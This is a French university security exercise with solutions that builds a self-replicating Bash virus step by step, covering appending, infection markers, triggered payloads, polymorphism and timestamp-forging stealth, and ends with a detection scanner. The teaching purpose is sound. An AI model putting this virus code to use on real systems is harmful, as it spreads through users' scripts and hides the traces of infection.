**Université de Perpignan**
C. Legrand

L3 Informatique
Année 2026

# TD4 Sécurité Informatique – Corrigé
## Projet VBashX – Virus par ajout en Bash

**Avertissement éthique et légal**

Les techniques présentées dans ce TD sont étudiées dans un **cadre strictement académique** afin de comprendre les mécanismes utilisés par les logiciels malveillants et ainsi pouvoir mieux s'en protéger.
**Toute utilisation de ces techniques en dehors du cadre pédagogique est illégale** et passible de sanctions pénales (chapitre III du Code pénal, articles 323-1 à 323-8 – *Des atteintes aux systèmes de traitement automatisé de données*) :

- Accès ou maintien frauduleux dans un STAD (art. 323-1) : **3 ans** d'emprisonnement et **100 000 €** d'amende
- Entrave au fonctionnement d'un STAD (art. 323-2) : **5 ans** d'emprisonnement et **150 000 €** d'amende
- Introduction frauduleuse de données dans un STAD (art. 323-3) : **5 ans** d'emprisonnement et **150 000 €** d'amende

Peines portées à **7 ans** et **300 000 €** lorsque le système visé traite des données à caractère personnel mis en œuvre par l'État, et jusqu'à **10 ans** et **300 000 €** en bande organisée (art. 323-4-1). *Peines mises à jour par la loi LOPMI n° 2023-22 du 24 janvier 2023.*

Dans ce TD-projet, vous allez construire **brique par brique** un virus par ajout (*appending*) en Bash, baptisé **VBashX**. Chaque phase ajoute une fonctionnalité au virus de la phase précédente, en reprenant et complétant les notions vues en cours (vbashp, anti-surinfection, polymorphisme par réordonnancement de lignes, charge utile conditionnelle).

**Prérequis :** TD3 (scripts Bash, virus écrasant, chiffrement par substitution).

Méthode de travail : Pour chaque phase, procédez comme suit :

- Créez un répertoire de test dédié à la phase (ex : `test_phase1/`).
- Copiez-y votre virus et les fichiers cibles (`cible1.sh`, `cible2.sh`).
- Exécutez le virus et analysez les résultats **avant** de passer à la phase suivante.
- Ne travaillez **jamais** directement dans votre répertoire de développement.

Fichiers cibles de test :

```bash
#!/bin/bash
echo "I am target program 1"
echo "Running normally..."
```

cible1.sh

```bash
#!/bin/bash
echo "I am target program 2"
echo "Everything is fine."
```

cible2.sh

**Exercice 1** (Projet VBashX).

## Phase 1 – Virus par ajout simple

### Rappel de cours

**Virus par ajout (*appending virus*) :**
Contrairement au virus écrasant (TD3) qui détruit le programme hôte, le virus par ajout **ajoute** son code à la fin du fichier cible. Le programme original reste fonctionnel.

**Schéma textuel :**

```
AVANT infection :                APRES infection :
+---------------------+         +---------------------+
| Programme hote      |         | Programme hote      |
| (code original)     |         | (code original)     |
| N lignes            |         | N lignes            |
+---------------------+         +---------------------+
                                 | Code du virus       |
                                 | (ajout en fin)      |
                                 | VIRUS_SIZE lignes   |
                                 +---------------------+

Le programme hote s'execute d'abord, puis le code viral.
```

**Commandes clés :**

- `tail -n K $0` : extrait les `K` dernières lignes du script en cours d'exécution (auto-extraction du code viral)
- `» fichier` : ajoute en fin de fichier (sans écraser)
- `basename $0` : nom du script sans le chemin

**1a)** Écrire un script `vbashx.sh` qui, pour chaque fichier `.sh` du répertoire courant (autre que lui-même), ajoute ses propres `VIRUS_SIZE` dernières lignes à la fin du fichier cible. Indication : utiliser `tail -n $VIRUS_SIZE "$0" » "$f"`.

**1b)** Tester : créer `cible1.sh` et `cible2.sh` (simples `echo`). Exécuter le virus, puis les cibles. Le code hôte s'exécute-t-il toujours ?

**1c)** Exécuter un fichier infecté. Que se passe-t-il ? Pourquoi ?

**Correction 1.** ***1a)*** *Le script suivant implémente un virus par ajout simple :*

```bash
#!/bin/bash
echo "I am the host program"
# --- VBashX Phase 1 ---
VIRUS_SIZE=7
for f in *.sh; do
    if [ "$(basename "$f")" != "$(basename "$0")" ]; then
        tail -n $VIRUS_SIZE "$0" >> "$f"
    fi
done
```

vbashx_phase1.sh

***1b)*** *Après exécution du virus, les fichiers cibles contiennent leur code original suivi du code viral. Lorsqu'on exécute une cible, le code hôte s'exécute d'abord (les* `echo` *affichent leur message), puis le code viral s'exécute et propage l'infection aux autres fichiers* `.sh`*.*

***1c)*** *Lorsqu'on exécute un fichier infecté, celui-ci propage le virus aux autres fichiers* `.sh` *du répertoire. C'est la* ***propagation de proche en proche*** *: chaque fichier infecté devient à son tour un vecteur d'infection.*

***Attention***

*Le virus souffre d'un problème majeur : il* ***réinfecte*** *les fichiers déjà infectés à chaque exécution. La taille des fichiers augmente indéfiniment. Ce problème sera résolu en Phase 2.*

***Point clé à retenir***

- `tail -n K $0` *permet l'****auto-extraction*** *du code viral depuis le fichier en cours d'exécution.*
- *L'opérateur » ajoute en fin de fichier sans écraser le contenu existant.*
- *Le code viral s'exécute* ***après*** *le code hôte : le programme original reste fonctionnel.*
- *La valeur de* `VIRUS_SIZE` *doit correspondre* ***exactement*** *au nombre de lignes du code viral (du commentaire de début au* `done` *final).*

### Phase 2 – Lutte contre la surinfection

**Rappel de cours**

**Surinfection et stratégies anti-surinfection :**
La **surinfection** (ou réinfection) se produit lorsqu'un virus infecte un fichier déjà infecté. Cela provoque une croissance indéfinie de la taille des fichiers, ce qui constitue un **indicateur de compromission** (IoC) facilement détectable.

**Trois stratégies principales :**

| Stratégie | Principe | Caractéristique |
|---|---|---|
| **Par marqueur** | Insérer une signature unique dans le code viral ; vérifier sa présence avant infection | Discriminante (la signature est détectable par un antivirus) |
| **Par comparaison tail** | Comparer les dernières lignes de la cible avec celles du virus | Non discriminante mais fragile au polymorphisme |
| **Par exécution test** | Exécuter les dernières lignes avec un argument test et analyser la sortie | Non incriminante mais plus complexe |

**2a)** **Stratégie par marqueur :** Modifier le virus pour insérer une signature (ex : `VBX_7k9Pz`) dans le code viral. Avant d'infecter un fichier, vérifier avec `grep` si la signature est déjà présente. Indication : `[ -z "$(grep "VBX_7k9Pz" "$f")" ]`.

**2b)** **Stratégie par comparaison tail :** Implémenter une alternative qui compare les `VIRUS_SIZE` dernières lignes de la cible avec celles du virus. Utiliser `echo -n $(tail -n ...)` pour normaliser les retours à la ligne.

**2c)** **Stratégie par exécution test :** Expliquer le principe (sans implémenter) : isoler les dernières lignes du fichier, les exécuter avec un argument spécial (ex : `-vbx-test`), analyser la sortie. Quels sont les avantages et inconvénients ?

**2d)** Remplir un tableau comparatif des 3 stratégies selon les critères : fiabilité, discrétion, robustesse au polymorphisme.

**Correction 2.** *2a) Virus avec anti-surinfection par marqueur :*

```bash
#!/bin/bash
echo "I am the host program"
# --- VBashX Phase 2a --- VBX_7k9Pz
MARKER="VBX_7k9Pz"
VIRUS_SIZE=10
for f in *.sh; do
    if [ "$(basename "$f")" != "$(basename "$0")" ]; then
        if [ -z "$(grep "$MARKER" "$f")" ]; then
            tail -n $VIRUS_SIZE "$0" >> "$f"
        fi
    fi
done
```

vbashx_phase2a.sh

***2b)*** *Virus avec anti-surinfection par comparaison tail :*

```bash
#!/bin/bash
echo "I am the host program"
# --- VBashX Phase 2b ---
VIRUS_SIZE=11
MY_CODE=$(echo -n $(tail -n $VIRUS_SIZE "$0"))
for f in *.sh; do
    if [ "$(basename "$f")" != "$(basename "$0")" ]; then
        TARGET_CODE=$(echo -n $(tail -n $VIRUS_SIZE "$f"))
        if [ "$MY_CODE" != "$TARGET_CODE" ]; then
            tail -n $VIRUS_SIZE "$0" >> "$f"
        fi
    fi
done
```

vbashx_phase2b.sh

***2c) Stratégie par exécution test :*** *On extrait les dernières* `VIRUS_SIZE` *lignes du fichier cible dans un fichier temporaire, on l'exécute avec un argument spécial (ex :* `./tmp_test.sh -vbx-test`*). Si le code viral est présent, il détecte l'argument et retourne un code spécifique (ex :* `exit 42`*).*

*Avantages : Non incriminant (pas de signature en clair), fonctionne même si le code viral change de forme.*

*Inconvénients : Plus complexe à implémenter, nécessite l'exécution de code potentiellement dangereux, plus lent (fork + exec pour chaque fichier testé).*

***2d)*** *Tableau comparatif :*

| ***Critère*** | ***Marqueur*** | ***Comparaison tail*** | ***Exécution test*** |
|---|---|---|---|
| *Fiabilité* | *Élevée* | *Moyenne* | *Élevée* |
| *Discrétion* | *Faible (signature en clair)* | *Moyenne* | *Élevée* |
| *Robustesse au polymorphisme* | *Oui* | *Non* | *Oui* |
| *Complexité* | *Faible* | *Faible* | *Élevée* |

***Attention***

*La signature en clair (*`VBX_7k9Pz`*) rend le virus vulnérable à une* ***détection antivirale*** *: un simple* `grep` *permet de trouver tous les fichiers infectés. C'est le prix à payer pour la fiabilité de la stratégie par marqueur. Nous exploiterons cette faiblesse en Phase 6.*

***Point clé à retenir***

- *La surinfection est un* ***défaut classique*** *des virus simples, facilement détectable par la croissance anormale de la taille des fichiers.*
- *La stratégie par* ***marqueur*** *(*`grep`*) est la plus fiable mais la moins discrète.*
- *La stratégie par* ***comparaison tail*** *ne laisse pas de signature explicite mais échoue si le code viral change de forme (polymorphisme).*
- *Le choix de la stratégie anti-surinfection a un impact direct sur la* ***détectabilité*** *du virus.*

### Phase 3 – Charge utile conditionnelle

**Rappel de cours**

**Charge utile (*payload*) et déclencheurs :**
La **charge utile** est l'action malveillante effectuée par le virus (affichage de message, suppression de fichiers, chiffrement, etc.). Elle est généralement activée par un **déclencheur** (*trigger*) conditionnel :

- **Temporel :** activée à une date/heure précise (ex : vendredi, 1er avril)
- **Par compteur :** activée après un certain nombre d'exécutions
- **Événementiel :** activée par un événement système (connexion réseau, fichier présent, etc.)

**Commandes utiles :**

- `date +%u` : jour de la semaine (1=lundi, . . . , 5=vendredi, 7=dimanche)
- `date +%d` : jour du mois (01–31)
- Fichiers cachés : un nom commençant par `.` (point) est masqué par `ls`

*Lien avec TD02 :* les bombes logiques utilisent le même principe de déclencheur conditionnel.

**3a)** Ajouter une charge utile activée uniquement le **vendredi**. Utiliser `date +%u` (5=vendredi). La charge utile sera un simple `echo` (pas destructif !). Intégrer cette fonctionnalité au virus de Phase 2a.

**3b)** Variante avec **compteur** : utiliser un fichier caché `.vbx_count` incrémenté à chaque exécution du virus. La charge utile se déclenche après 3 exécutions.

**3c)** Proposer une méthode pour tester le déclencheur vendredi sans attendre vendredi. Indication : explorer les options de `date -d`.

**Correction 3.** *3a) Virus avec charge utile temporelle (vendredi) :*

```
#!/bin/bash
echo "I am the host program"
# --- VBashX Phase 3a --- VBX_7k9Pz
MARKER="VBX_7k9Pz"
VIRUS_SIZE=15
# Payload: triggered on Friday (day 5)
if [ "$(date +%u)" -eq 5 ]; then
    echo "[VBashX] PAYLOAD ACTIVATED - Today is Friday!"
fi
# Infection phase
for f in *.sh; do
    if [ "$(basename "$f")" != "$(basename "$0")" ]; then
        if [ -z "$(grep "$MARKER" "$f")" ]; then
            tail -n $VIRUS_SIZE "$0" >> "$f"
        fi
    fi
```

```
done
```

vbashx_phase3a.sh

***3b)*** *Virus avec charge utile par compteur :*

```
#!/bin/bash
echo "I am the host program"
# --- VBashX Phase 3b --- VBX_7k9Pz
MARKER="VBX_7k9Pz"
VIRUS_SIZE=23
COUNTER_FILE=".vbx_count"
# Increment execution counter
if [ -f "$COUNTER_FILE" ]; then
    COUNT=$(cat "$COUNTER_FILE")
    COUNT=$(($COUNT + 1))
else
    COUNT=1
fi
echo $COUNT > "$COUNTER_FILE"
# Payload: triggered after 3 executions
if [ $COUNT -ge 3 ]; then
    echo "[VBashX] PAYLOAD: Execution count reached $COUNT!"
fi
# Infection phase
for f in *.sh; do
    if [ "$(basename "$f")" != "$(basename "$0")" ]; then
        if [ -z "$(grep "$MARKER" "$f")" ]; then
            tail -n $VIRUS_SIZE "$0" >> "$f"
    fi; fi
done
```

vbashx_phase3b.sh

***3c)*** *Pour tester le déclencheur vendredi sans attendre, on peut utiliser* `date -d` *pour simuler une date :*

```
# Remplacer temporairement dans le script :
# if [ "$(date +%u)" -eq 5 ]; then
# par :
if [ "$(date -d 'next Friday' +%u)" -eq 5 ]; then
# Ou bien definir une fonction date() qui retourne une date simulee :
date() { echo "5"; }
```

*On peut aussi modifier temporairement la date système dans une VM :* `sudo date -s "next Friday"`.

***Point clé à retenir***

- `date +%u` *retourne le jour de la semaine sous forme numérique (1=lundi, 7=dimanche).*
- *Les fichiers cachés (commençant par .) permettent de* ***persister un état*** *entre les exécutions du virus sans être visibles par* `ls`.
- *La séparation entre* ***infection*** *et* ***payload*** *est un principe architectural important : le virus se propage indépendamment du déclenchement de la charge utile.*

## Phase 4 – Polymorphisme par réordonnancement de lignes

### Rappel de cours

**Polymorphisme par permutation de lignes :**
Le **polymorphisme** consiste à faire en sorte que chaque copie du virus soit différente, rendant la détection par signature du code viral plus difficile.
Dans l'approche par **réordonnancement de lignes** (vue en cours), le code d'infection est découpé en lignes numérotées (`#@1#` à `#@LI#`). À chaque infection, ces lignes sont écrites dans un **ordre aléatoire** différent.

**Structure du virus polymorphe (dans un fichier infecté) :**

```
+-----------------------------------+
| Code hote original                |
+-----------------------------------+
| Code de RESTAURATION (ordre fixe) |  <-- REST_SIZE lignes
| - extrait les lignes taguees      |
| - les remet dans l'ordre          |
| - execute le code restaure        |
+-----------------------------------+
| Lignes taguees #@1# a #@LI#       |  <-- LI lignes
| (dans un ordre ALEATOIRE)         |      (en ordre permute)
+-----------------------------------+
VIRUS_SIZE = REST_SIZE + LI
```

**Formule de permutation :** $n_i = (r \times 3^i) \bmod 17$
Les puissances de 3 modulo 17 (nombre premier) engendrent tous les entiers de 1 à 16. Avec un germe aléatoire $r$, la formule itérative $r \leftarrow (r \times 3) \bmod 17$ produit une permutation complète.

**Table des permutations** (germe $r = 1$) :

| Itération | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Ligne $n_i$ | 3 | 9 | 10 | 13 | 5 | 15 | 11 | 16 | 14 | 8 | 7 | 4 | 12 | 2 | 6 | 1 |

**Processus d'exécution d'un fichier infecté :**

1. Le code hôte s'exécute normalement
2. Le code de **restauration** s'exécute :
   (a) Extrait les lignes `#@1#` à `#@LI#` dans l'ordre
   (b) Les écrit dans un fichier temporaire
   (c) Exécute le fichier temporaire
3. Le fichier temporaire (code d'infection en ordre) s'exécute et infecte les cibles avec une **nouvelle permutation**

**4a) Code de restauration :** Écrire le code (non tagué, ordre fixe) qui extrait les lignes `#@1#` à `#@LI#` du fichier courant dans l'ordre, les écrit dans un fichier temporaire, l'exécute, puis fait `exit 0`. Le fichier temporaire doit connaître le chemin du fichier source (via une variable `SRC`).

Indication : `grep "#@${nb}#" "$0"` pour extraire la ligne numéro `nb`.

**4b) Code d'infection tagué :** Écrire le code d'infection en **16 lignes**, chacune taguée `#@n#` (le tag est un commentaire Bash en fin de ligne). Ce code doit :

- Vérifier la surinfection par marqueur
- Ajouter le code de restauration à la cible (via `tail -n $VS "$SRC" | head -n $REST_S`)
- Ajouter les 16 lignes taguées dans un **ordre aléatoire** en utilisant la formule $r \leftarrow (r \times 3) \bmod 17$ avec un germe initial aléatoire : `r=$(( ($RANDOM % 16) + 1 ))`

**4c)** Tester : infecter 2 cibles, comparer le contenu viral dans chacune. Les lignes taguées sont-elles dans un ordre différent ?

**4d)** Parmi les 3 stratégies de Phase 2, lesquelles fonctionnent encore avec le polymorphisme ? Justifier.

**Correction 4.** *4a+4b) Le virus complet avec polymorphisme par réordonnancement :*

```
1  #!/bin/bash
2  echo "I am the host program"
3  # --- VBashX Restoration --- VBX_7k9Pz
4  REST_SIZE=11
5  LI=16
6  VIRUS_SIZE=$(($REST_SIZE + $LI))
7  TMP=".vbx_tmp.sh"
8  echo "#!/bin/bash" > $TMP
9  echo "SRC=\"$0\"" >> $TMP
10 nb=1; while [ $nb -le $LI ]; do
11 grep "#@${nb}#" "$0" >> $TMP
12 nb=$(($nb + 1)); done
13 chmod +x $TMP && ./$TMP; rm -f $TMP; exit 0
14 MARKER="VBX_7k9Pz" #@1#
15 for f in *.sh; do #@2#
16 if [ "$(basename "$f")" != "$(basename "$SRC")" ]; then #@3#
17 if [ -z "$(grep "$MARKER" "$f")" ]; then #@4#
18 REST_S=11; LI_S=16; VS=$(($REST_S + $LI_S)) #@5#
19 tail -n $VS "$SRC" | head -n $REST_S >> "$f" #@6#
20 r=$(( ($RANDOM % 16) + 1 )) #@7#
21 n=1 #@8#
22 while [ $n -le $LI_S ]; do #@9#
23 grep "#@${r}#" "$SRC" >> "$f" #@10#
24 r=$(( ($r * 3) % 17 )) #@11#
25 n=$(($n + 1)) #@12#
26 done #@13#
27 fi #@14#
28 fi #@15#
29 done #@16#
```

vbashx_phase4.sh

***Explication du code :***

- ***Lignes 3–13*** *(code de restauration, non tagué) : extrait les 16 lignes taguées dans l'ordre (1, 2, . . . , 16), les écrit dans* `.vbx_tmp.sh` *avec le chemin source, exécute ce fichier, puis termine par* `exit 0`*.*

- ***Lignes 14–29*** *(code d'infection, tagué* `#@1#` *à* `#@16#`*) : ces lignes sont en ordre quelconque dans le fichier mais le code de restauration les remet en ordre avant exécution. Elles vérifient la surinfection, copient le code de restauration dans la cible, puis ajoutent les lignes taguées dans un ordre aléatoire via la formule* $r \leftarrow (r \times 3) \bmod 17$.

***4c)*** *En comparant deux fichiers infectés, on constate que les lignes taguées sont dans un* ***ordre différent*** *(le germe aléatoire* `$RANDOM` *est différent à chaque exécution). Le code de restauration, en revanche, est* ***identique*** *dans tous les fichiers infectés.*

***4d)*** *Compatibilité des stratégies anti-surinfection avec le polymorphisme :*

| ***Stratégie*** | ***Compatible ?*** | ***Raison*** |
|---|---|---|
| *Par marqueur* | ✓ *Oui* | *La signature est dans les lignes taguées, elle est toujours présente* |
| *Par comparaison tail* | × *Non* | *Les dernières lignes changent d'ordre à chaque infection* |
| *Par exécution test* | ✓ *Oui* | *Le code restauré produit toujours le même comportement* |

***Attention***

*Bien compter* `VIRUS_SIZE = REST_SIZE + LI`*. Le code de restauration n'est* ***pas*** *tagué (il reste en ordre fixe), seul le code d'infection l'est. La variable* `SRC` *dans le fichier temporaire contient le chemin du fichier infecté source, ce qui permet au code d'infection d'accéder aux lignes taguées.*

***Point clé à retenir***

- *Le code de restauration reste* ***identique*** *dans tous les fichiers infectés : c'est un* ***invariant*** *exploitable par un antivirus (cf. Phase 6).*
- *Le polymorphisme par réordonnancement empêche la détection par* ***comparaison de code*** *mais pas par* ***signature du décrypteur/restaurateur****.*
- *La formule* $r \leftarrow (r \times 3) \bmod 17$ *est un* ***générateur de permutations*** *car 3 est une racine primitive modulo 17 (nombre premier). Elle engendre les 16 valeurs de 1 à 16 sans répétition.*
- *Les tags* `#@n#` *sont des commentaires Bash valides : le code fonctionne même si les tags ne sont pas supprimés.*

### Phase 5 – Furtivité

**Rappel de cours**

**Techniques de furtivité (*stealth*) :**
Un virus furtif cherche à dissimuler les traces de son activité :

- **Préservation des horodatages :** la modification d'un fichier change sa date de dernière modification (`mtime`). Un administrateur surveillant les dates peut détecter l'infection.
- **Nettoyage des fichiers temporaires :** les fichiers `.vbx_tmp.sh` laissés par le virus sont des preuves.
- **Suppression des erreurs :** les messages d'erreur sur `stderr` peuvent alerter l'utilisateur.

**Commandes clés :**

- `cp -p fichier copie` : copie en préservant les attributs (horodatages, permissions)
- `touch -r reference fichier` : applique les horodatages de `reference` à `fichier`
- `trap "commandes" EXIT` : exécute `commandes` à la sortie du script (même en cas d'interruption Ctrl+C)
- `2>/dev/null` : redirige `stderr` vers `/dev/null` (supprime les erreurs)

**5a) Préservation des horodatages :** Avant d'infecter un fichier, sauvegarder une copie de référence avec `cp -p "$f" ".vbx_ref_$$"`, puis restaurer les horodatages après infection avec `touch -r ".vbx_ref_$$" "$f"`.

**5b) Nettoyage des fichiers temporaires :** Utiliser `trap "rm -f $TMP .vbx_ref_*" EXIT` dans le code de restauration pour garantir le nettoyage même en cas d'interruption.

**5c) Suppression des erreurs :** Ajouter `2>/dev/null` sur les commandes critiques (`grep`, `tail`, `cp`). Quelles erreurs cela masque-t-il ?

**Correction 5.** *Le virus complet Phase 5 intègre les 3 techniques de furtivité au code de Phase 4 :*

```
#!/bin/bash
echo "I am the host program"
# --- VBashX Phase 5 --- VBX_7k9Pz
REST_SIZE=13
LI=16
VIRUS_SIZE=$(($REST_SIZE + $LI))
TMP=".vbx_tmp.sh"
trap "rm -f $TMP .vbx_ref_*" EXIT
echo "#!/bin/bash" > $TMP
echo "SRC=\"$0\"" >> $TMP
nb=1; while [ $nb -le $LI ]; do
grep "#@${nb}#" "$0" >> $TMP
nb=$(($nb + 1)); done
chmod +x $TMP && ./$TMP
```

```
15 exit 0
16 MARKER="VBX_7k9Pz" #@1#
17 for f in *.sh; do #@2#
18 if [ "$(basename "$f")" != "$(basename "$SRC")" ]; then #@3#
19 if [ -z "$(grep "$MARKER" "$f" 2>/dev/null)" ]; then #@4#
20 cp -p "$f" ".vbx_ref_$$" 2>/dev/null #@5#
21 REST_S=13; LI_S=16; VS=$(($REST_S + $LI_S)) #@6#
22 tail -n $VS "$SRC" | head -n $REST_S >> "$f" 2>/dev/null #@7#
23 r=$(( ($RANDOM % 16) + 1 )) #@8#
24 n=1 #@9#
25 while [ $n -le $LI_S ]; do #@10#
26 grep "#@${r}#" "$SRC" >> "$f" 2>/dev/null #@11#
27 r=$(( ($r * 3) % 17 )) #@12#
28 n=$(($n + 1)); done #@13#
29 touch -r ".vbx_ref_$$" "$f" 2>/dev/null #@14#
30 rm -f ".vbx_ref_$$" 2>/dev/null #@15#
31 fi; fi; done #@16#
```

vbashx_phase5.sh

***Modifications par rapport à Phase 4 :***

- ***Ligne 8 :*** *`trap` pour le nettoyage automatique à la sortie (5b)*
- ***Lignes taguées #@4#, #@5#, #@7#, #@11# :*** *ajout de `2>/dev/null` pour masquer les erreurs (5c)*
- ***Ligne #@5# :*** *`cp -p` pour sauvegarder les attributs du fichier original (5a)*
- ***Ligne #@14# :*** *`touch -r` pour restaurer les horodatages après infection (5a)*
- ***Ligne #@15# :*** *nettoyage du fichier de référence après restauration des timestamps*

***5c)*** *Le `2>/dev/null` masque les erreurs suivantes :*

- *`grep` : erreur si le fichier n'existe pas ou n'est pas lisible*
- *`cp/tail` : erreur sur les permissions insuffisantes*
- *`touch` : erreur si le fichier de référence a été supprimé*

***Point clé à retenir***

- *La **furtivité temporelle** (`touch -r`) empêche la détection par comparaison des dates de modification.*
- *`trap ... EXIT` est une bonne pratique même hors contexte viral : il garantit le nettoyage des fichiers temporaires en cas d'interruption (`Ctrl+C`, erreur fatale).*
- *`2>/dev/null` rend le virus silencieux mais empêche aussi le débogage. C'est un compromis furtivité/maintenabilité.*
- *Le `REST_SIZE` passe de 11 à 13 car le code de restauration inclut désormais le `trap`.*

### Phase 6 – Analyse et détection

**Rappel de cours**

**Méthodologie d'analyse – Indicateurs de compromission (IoC) :**
Un **indicateur de compromission** (*Indicator of Compromise*, IoC) est un artefact observable qui signale une infection. Les types de détection :

- **Par signature** (*pattern matching*) : recherche de chaînes de caractères connues (marqueurs, noms de variables)
- **Heuristique** : détection de patterns suspects (ex : un script qui se copie lui-même)
- **Comportementale** : analyse du comportement à l'exécution (ex : un script qui modifie d'autres scripts)

**Commandes `grep` utiles pour l'analyse :**

- `grep -q "pattern" fichier` : mode silencieux, retourne uniquement le code de sortie (0 si trouvé)
- `grep -l "pattern" *.sh` : liste les fichiers contenant le pattern
- `grep -c "pattern" fichier` : compte les occurrences

**6a) Scanner :** Écrire un script `scanner.sh` qui parcourt les fichiers `.sh` d'un répertoire (passé en argument ou `.` par défaut) et détecte les IoC suivants :

- Signature du marqueur : `VBX_7k9Pz`
- Marqueurs de lignes taguées : `#@n#`
- Pattern comportemental d'auto-réplication : `tail.*$0.*»`
- Pattern de restauration : `grep.*#@`

Afficher pour chaque fichier les IoC détectés, puis un résumé (infectés/sains).

**6b) Tableau IoC :** Pour chaque phase (1–5), identifier la technique employée et l'IoC détectable correspondant.

**6c) Réflexion :** Le polymorphisme par réordonnancement rend-il la détection impossible ? Quel invariant reste exploitable ? Quel type de détection (syntaxique, comportementale, heuristique) serait le plus efficace ?

**Correction 6.** ***6a)*** *Scanner de détection :*

```
#!/bin/bash
# VBashX Scanner - Detection of infected files
echo "=== VBashX Scanner ==="
DIR="${1:-.}"
echo "Scanning directory: $DIR"
echo ""
INFECTED=0
CLEAN=0

for f in "$DIR"/*.sh; do
```

```
    [ -f "$f" ] || continue
    INDICATORS=""
    # IoC 1: Marker signature
    if grep -q "VBX_7k9Pz" "$f" 2>/dev/null; then
        INDICATORS="$INDICATORS [MARKER:VBX_7k9Pz]"
    fi
    # IoC 2: Tagged lines (polymorphism)
    if grep -q "#@[0-9]*#" "$f" 2>/dev/null; then
        INDICATORS="$INDICATORS [TAGGED_LINES]"
    fi
    # IoC 3: Behavioral pattern (tail...$0..>>)
    if grep -q 'tail.*\$0.*>>' "$f" 2>/dev/null; then
        INDICATORS="$INDICATORS [TAIL_APPEND]"
    fi
    # IoC 4: Restoration pattern (grep for tags)
    if grep -q 'grep.*#@' "$f" 2>/dev/null; then
        INDICATORS="$INDICATORS [RESTORATION]"
    fi
    if [ -n "$INDICATORS" ]; then
        echo "[INFECTED] $(basename "$f"):$INDICATORS"
        INFECTED=$(($INFECTED + 1))
    else
        echo "[CLEAN]    $(basename "$f")"
        CLEAN=$(($CLEAN + 1))
    fi
done

echo ""
echo "=== Results ==="
echo "Infected: $INFECTED"
echo "Clean:    $CLEAN"
echo "Total:    $(($INFECTED + $CLEAN))"
```

scanner.sh

***6b)*** *Tableau des IoC par phase :*

| ***Phase*** | ***Technique*** | ***IoC détectable*** | ***Détection*** |
|---|---|---|---|
| *1* | *Ajout simple* | `tail .* $0 .* »` | *Heuristique* |
| *2a* | *Marqueur* | *Signature* `VBX_7k9Pz` | *Signature* |
| *2b* | *Comparaison tail* | `tail .* $0 .* »` | *Heuristique* |
| *3* | *Payload* | `date +%u`, `.vbx_count` | *Heuristique* |
| *4* | *Polymorphisme* | *Code restauration,* `#@n#` | *Signature du restaurateur* |
| *5* | *Furtivité* | `touch -r`, `trap` | *Heuristique* |

***6c)*** *Le polymorphisme par réordonnancement ne rend* ***pas*** *la détection impossible :*

- *L'**invariant exploitable** est le code de restauration : il reste identique dans tous les fichiers infectés (il extrait les lignes taguées dans l'ordre via* `grep "#@${nb}#"`*).*
- *La **détection comportementale** est la plus efficace car elle détecte l'intention du virus (pattern* `tail .* $0 .* »`*) plutôt que sa forme exacte. Même si le code change d'ordre, le comportement d'auto-réplication reste identique.*
- *La détection **par signature du restaurateur** fonctionne bien : le code* `grep "#@${nb}#" "$0"` *est un pattern très spécifique et peu probable dans un script légitime.*

- *Pour vaincre cette détection, il faudrait un* ***polymorphisme du restaurateur lui-même*** *(métamorphisme), ce qui est beaucoup plus complexe.*

***Attention***

*Le scanner lui-même contient certains patterns qu'il recherche (comme* `VBX_7k9Pz`*). Il pourrait donc se détecter comme infecté ! En pratique, on exclurait le scanner de l'analyse, ou on utiliserait des patterns compilés (regex) plutôt que des chaînes littérales.*

***Point clé à retenir***

- *Le code de restauration est l'****invariant détectable*** *du virus polymorphe. C'est l'analogue du décrypteur dans un virus chiffré.*
- *La détection* ***comportementale*** *(pattern* `tail .* $0 .* »`*) est la plus robuste car elle détecte l'****intention*** *(auto-réplication) plutôt que la forme du code.*
- *Un bon scanner combine plusieurs types d'IoC pour réduire les faux positifs et les faux négatifs.*
- *La course entre virus et antivirus est un* ***jeu du chat et de la souris*** *: chaque technique de dissimulation appelle une nouvelle technique de détection, et inversement.*